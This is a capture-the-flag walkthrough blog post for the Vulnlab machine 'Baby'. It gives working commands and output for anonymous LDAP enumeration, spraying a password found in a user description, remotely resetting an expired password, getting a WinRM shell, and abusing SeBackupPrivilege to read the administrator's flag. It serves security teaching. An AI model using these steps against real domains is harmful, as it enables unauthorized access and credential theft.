Post

Baby Walkthrough: Enumerating SMB and LDAP on Windows Server 2022

Walkthrough of Vulab's Machine Baby

Baby Walkthrough: Enumerating SMB and LDAP on Windows Server 2022

Introduction

This walkthrough demonstrates how to compromise a lab machine named “Baby” from Vulnlab by enumerating services like SMB and LDAP on a Windows Server 2022 Domain Controller (DC). The goal is to perform network scanning, domain enumeration, password cracking, and ultimately gain unauthorized access.

Recon

I started with a standard Nmap scan to discover open ports:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
>sudo nmap -T5 -sS -n -Pn --disable-arp-ping --stats-every=5s -p- 10.10.66.123 --max-retries 0
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-30 09:43 EDT
Nmap scan report for 10.10.75.4
Host is up (0.16s latency).
Not shown: 987 filtered tcp ports (no-response)
PORT      STATE SERVICE
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3389/tcp  open  ms-wbt-server
5985/tcp  open  wsman
49664/tcp open  unknown
49667/tcp open  unknown
49669/tcp open  unknown
49674/tcp open  unknown
49675/tcp open  unknown
50517/tcp open  unknown
50532/tcp open  unknown

Nmap Flags:

  • -sS: Performs a SYN scan (stealth scan).
  • -n: Disables DNS resolution to speed up scanning.
  • --disable-arp-ping: Skips ARP ping.
  • -p: Scans all of the ports.

Key Observations:

  • Port 139/445: SMB service (Windows shares).
  • Port 389/636: LDAP (Lightweight Directory Access Protocol).
  • Port 3268/3269: Global Catalog (LDAP for domain replication).
  • Port 88: Kerberos (authentication service).
  • Port 5985: WinRM (Remote Management of Windows Systems)

SMB Enumeration with Netexec

Next, I enumerated the SMB shares and host details using Netexec (a continuation of Crackmapexec). This tool automates multi-protocol enumeration.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
netexec smb 10.10.75.4
[*] First time use detected
[*] Creating home directory structure
[*] Creating missing folder logs
[*] Creating missing folder modules
[*] Creating missing folder protocols
[*] Creating missing folder workspaces
[*] Creating missing folder obfuscated_scripts
[*] Creating missing folder screenshots
[*] Creating default workspace
[*] Initializing LDAP protocol database
[*] Initializing SMB protocol database
[*] Initializing WMI protocol database
[*] Initializing FTP protocol database
[*] Initializing RDP protocol database
[*] Initializing SSH protocol database
[*] Initializing MSSQL protocol database
[*] Initializing VNC protocol database
[*] Initializing WINRM protocol database
[*] Copying default configuration file
SMB         10.10.75.4      445    BABYDC           [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)

From this, we can identify the machine name (BABYDC), the domain (baby.vl), and other important information, such as SMBv1 being disabled.

LDAP Enumeration Using Null Bind

Since LDAP ports (389/636) were open, I attempted domain enumeration using LDAP null binding (authentication without credentials).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
ldapsearch -x -H ldap://10.10.75.4 -D '' -w '' -b "DC=baby,DC=vl" | grep "distinguishedName" 
distinguishedName: CN=Guest,CN=Users,DC=baby,DC=vl
distinguishedName: CN=Domain Computers,CN=Users,DC=baby,DC=vl
distinguishedName: CN=Cert Publishers,CN=Users,DC=baby,DC=vl
distinguishedName: CN=Domain Users,CN=Users,DC=baby,DC=vl
distinguishedName: CN=Domain Guests,CN=Users,DC=baby,DC=vl
distinguishedName: CN=Group Policy Creator Owners,CN=Users,DC=baby,DC=vl
distinguishedName: CN=RAS and IAS Servers,CN=Users,DC=baby,DC=vl
distinguishedName: CN=Allowed RODC Password Replication Group,CN=Users,DC=baby
distinguishedName: CN=Denied RODC Password Replication Group,CN=Users,DC=baby,
distinguishedName: CN=Enterprise Read-only Domain Controllers,CN=Users,DC=baby
distinguishedName: CN=Cloneable Domain Controllers,CN=Users,DC=baby,DC=vl
distinguishedName: CN=Protected Users,CN=Users,DC=baby,DC=vl
distinguishedName: CN=DnsAdmins,CN=Users,DC=baby,DC=vl
distinguishedName: CN=DnsUpdateProxy,CN=Users,DC=baby,DC=vl
distinguishedName: CN=dev,CN=Users,DC=baby,DC=vl
distinguishedName: CN=Jacqueline Barnett,OU=dev,DC=baby,DC=vl
distinguishedName: CN=Ashley Webb,OU=dev,DC=baby,DC=vl
distinguishedName: CN=Hugh George,OU=dev,DC=baby,DC=vl
distinguishedName: CN=Leonard Dyer,OU=dev,DC=baby,DC=vl
distinguishedName: CN=it,CN=Users,DC=baby,DC=vl
distinguishedName: CN=Connor Wilkinson,OU=it,DC=baby,DC=vl
distinguishedName: CN=Joseph Hughes,OU=it,DC=baby,DC=vl
distinguishedName: CN=Kerry Wilson,OU=it,DC=baby,DC=vl
distinguishedName: CN=Teresa Bell,OU=it,DC=baby,DC=vl

Since the server is accepting NULL Credentials, we can further enumerate the descriptions of various objects to uncover any interesting information. Sometimes, people leave sensitive information such as passwords in these descriptions. Here’s an example:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
ldapsearch -x -H ldap://10.10.75.4 -D '' -w '' -b "CN=Teresa Bell,OU=it,DC=baby,DC=vl"
# extended LDIF
#
# LDAPv3
# base <CN=Teresa Bell,OU=it,DC=baby,DC=vl> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# Teresa Bell, it, baby.vl
dn: CN=Teresa Bell,OU=it,DC=baby,DC=vl
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: Teresa Bell
sn: Bell
description: Set initial password to BabyStart123!
givenName: Teresa
distinguishedName: CN=Teresa Bell,OU=it,DC=baby,DC=vl
instanceType: 4
whenCreated: 20211121151108.0Z
whenChanged: 20211121151437.0Z
displayName: Teresa Bell
uSNCreated: 12889
memberOf: CN=it,CN=Users,DC=baby,DC=vl
uSNChanged: 12905
name: Teresa Bell
objectGUID:: EDGXW4JjgEq7+GuyHBu3QQ==
userAccountControl: 66080
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 0
lastLogoff: 0
lastLogon: 0
pwdLastSet: 132819812778759642
primaryGroupID: 513
objectSid:: AQUAAAAAAAUVAAAAf1veU67Ze+7mkhtWWgQAAA==
accountExpires: 9223372036854775807
logonCount: 0
sAMAccountName: Teresa.Bell
sAMAccountType: 805306368
userPrincipalName: Teresa.Bell@baby.vl
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=baby,DC=vl
dSCorePropagationData: 20211121163014.0Z
dSCorePropagationData: 20211121162927.0Z
dSCorePropagationData: 16010101000416.0Z
msDS-SupportedEncryptionTypes: 0

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

Tried RDP with the potential obtained password, it didn’t work for “teresa.bell@baby.vl”. I decided to check if the same password might be used for other users on the system. To find more users, I enumerated their email addresses as follows:

1
2
3
4
5
6
7
8
9
10
11
ldapsearch -x -H ldap://10.10.75.4 -D '' -w '' -b "DC=baby,DC=vl" | grep "userPrincipalName"
userPrincipalName: Jacqueline.Barnett@baby.vl
userPrincipalName: Ashley.Webb@baby.vl
userPrincipalName: Hugh.George@baby.vl
userPrincipalName: Leonard.Dyer@baby.vl
userPrincipalName: Connor.Wilkinson@baby.vl
userPrincipalName: Joseph.Hughes@baby.vl
userPrincipalName: Kerry.Wilson@baby.vl
userPrincipalName: Teresa.Bell@baby.vl
# Caroline Robinson, it, baby.vl
dn: CN=Caroline Robinson,OU=it,DC=baby,DC=vl

One interesting user stood out from the list: Caroline Robinson, who doesn’t have a userPrincipalName associated. Since I now had a username and password, I decided to validate the credentials using “netexec”

1
2
3
4
5
6
7
8
9
10
11
12
13
netexec smb 10.10.75.4 -u emails.txt -p 'BabyStart123!'                          
SMB         10.10.75.4      445    BABYDC           [*] Windows Server 2022 Build 20348 x64 (name:BABYDC) (domain:baby.vl) (signing:True) (SMBv1:False)
SMB         10.10.75.4      445    BABYDC           [-] baby.vl\Jacqueline.Barnett:BabyStart123! STATUS_LOGON_FAILURE 
SMB         10.10.75.4      445    BABYDC           [-] baby.vl\Ashley.Webb:BabyStart123! STATUS_LOGON_FAILURE 
SMB         10.10.75.4      445    BABYDC           [-] baby.vl\Hugh.George:BabyStart123! STATUS_LOGON_FAILURE 
SMB         10.10.75.4      445    BABYDC           [-] baby.vl\Leonard.Dyer:BabyStart123! STATUS_LOGON_FAILURE 
SMB         10.10.75.4      445    BABYDC           [-] baby.vl\Connor.Wilkinson:BabyStart123! STATUS_LOGON_FAILURE 
SMB         10.10.75.4      445    BABYDC           [-] baby.vl\Joseph.Hughes:BabyStart123! STATUS_LOGON_FAILURE 
SMB         10.10.75.4      445    BABYDC           [-] baby.vl\Kerry.Wilson:BabyStart123! STATUS_LOGON_FAILURE 
SMB         10.10.75.4      445    BABYDC           [-] baby.vl\Teresa.Bell:BabyStart123! STATUS_LOGON_FAILURE 
SMB         10.10.75.4      445    BABYDC           [-] baby.vl\Connor.Wilkinson:BabyStart123! STATUS_LOGON_FAILURE 
SMB         10.10.75.4      445    BABYDC           [-] baby.vl\it:BabyStart123! STATUS_LOGON_FAILURE 
SMB         10.10.75.4      445    BABYDC           [-] baby.vl\Caroline.Robinson:BabyStart123! STATUS_PASSWORD_MUST_CHANGE 

Since there was a STATUS_PASSWORD_MUST_CHANGE error during previous attempts, logging in with the compromised password directly was not possible. Attempts to log in via RDP also failed. To bypass the password expiration issue, I used the smbpasswd tool, which is available on Kali Linux, to reset the password for Caroline Robinson.

Resetting an Expired Password Remotely

1
2
3
4
5
smbpasswd -r 10.10.75.4 -U "Caroline.Robinson"
Old SMB password:
New SMB password:
Retype new SMB password:
Password changed for user Caroline.Robinson

After a break, I resumed enumeration on a new machine with the IP 10.10.88.2.

Listing SMB Shares

Using the newly reset credentials, I attempted to list available SMB shares on the domain controller.

1
2
3
4
5
6
7
8
9
10
11
12
smbclient -U 'Caroline.Robinson%Password123' -L //10.10.88.2/Admin$

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        NETLOGON        Disk      Logon server share 
        SYSVOL          Disk      Logon server share 
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.88.2 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available

Attempting to Connect to Shares

The available shares are ADMIN$, C$, IPC$, NETLOGON, and SYSVOL. Unfortunately, I could not connect to ADMIN$ due to an error.

1
2
3
smbclient -U 'Caroline.Robinson' \\\\10.10.88.2\\ADMIN$ 
Password for [WORKGROUP\Caroline.Robinson]:
session setup failed: NT_STATUS_LOGON_FAILURE

Able to connect to C$ alt text

Fetching the flag-1

After gaining access to the C$ share, I navigated to the user’s Desktop folder to look for any files of interest. Inside Caroline Robinson’s Desktop folder, I found a file named user.txt which contained the flag.

1
2
smb: \users\Caroline.Robinson\Desktop\> get user.txt
getting file \users\Caroline.Robinson\Desktop\user.txt of size 36 as user.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)

Privilege Escalation to Local Administrator

Since we already knew that the WinRM port is open on the remote machine, we can check if we can log in using WinRM to execute commands.

The presence of WinRM on a machine allows for straightforward remote administration via PowerShell, similar to how SSH works on other operating systems.

A successful login using WinRM:

1
2
3
4
5
6
7
8
9
10
> evil-winrm -i 10.10.66.123 -u "Caroline.Robinson" -p "Password123"     
                                      
Evil-WinRM shell v3.6
                                      
Warning: Remote path completions is disabled due to a Ruby limitation: quoting_detection_proc() function is unimplemented on this machine                   
                                      
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion                                     
                                      
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents> 

Navigated to the Administrator’s Desktop to find root.txt, but access to it was denied:

1
2
3
4
5
6
7
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
Access to the path 'C:\Users\Administrator\Desktop\root.txt' is denied.
At line:1 char:1
+ type root.txt
+ ~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (C:\Users\Administrator\Desktop\root.txt:String) [Get-Content], UnauthorizedAccessException
    + FullyQualifiedErrorId : GetContentReaderUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetContentCommand

Checking the user’s privileges for any interesting ones:

1
2
3
4
5
6
7
8
9
10
11
12
13
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

The user is a member of the Backup Operators group. Members of this group have permissions to perform backup and restore operations. More specifically, they have the SeBackupPrivilege, which enables them to read sensitive files from the host.

Uploading the necessary libraries to the remote machine and importing them:

1
2
3
4
5
6
7
8
9
10
11
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Documents\Escape\Escape> dir

    Directory: C:\Users\Caroline.Robinson\Documents\Escape\Escape

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----          1/1/2000  12:00 AM          12288 SeBackupPrivilegeCmdLets.dll
-a----          1/1/2000  12:00 AM          16384 SeBackupPrivilegeUtils.dll

Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll

Using the imported libraries to access and copy files from restricted directories:

1
*Evil-WinRM* PS C:\Users\Administrator\Desktop> Copy-FileSeBackupPrivilege C:\Users\Administrator\Desktop\root.txt C:\Users\Caroline.Robinson\Desktop\root.txt

Fetching the flag:

1
2
*Evil-WinRM* PS C:\Users\Caroline.Robinson\Desktop> type root.txt
VL{<Flag>}

Disclaimer:

The techniques and tools discussed in this walkthrough are intended solely for educational purposes and to help improve cybersecurity awareness. Please conduct any penetration testing activities only on systems that you own or have explicit permission to test. Unauthorized access to computer systems is illegal and punishable by law. The author does not take responsibility for any misuse of the information provided

References

This post is licensed under CC BY 4.0 by the author.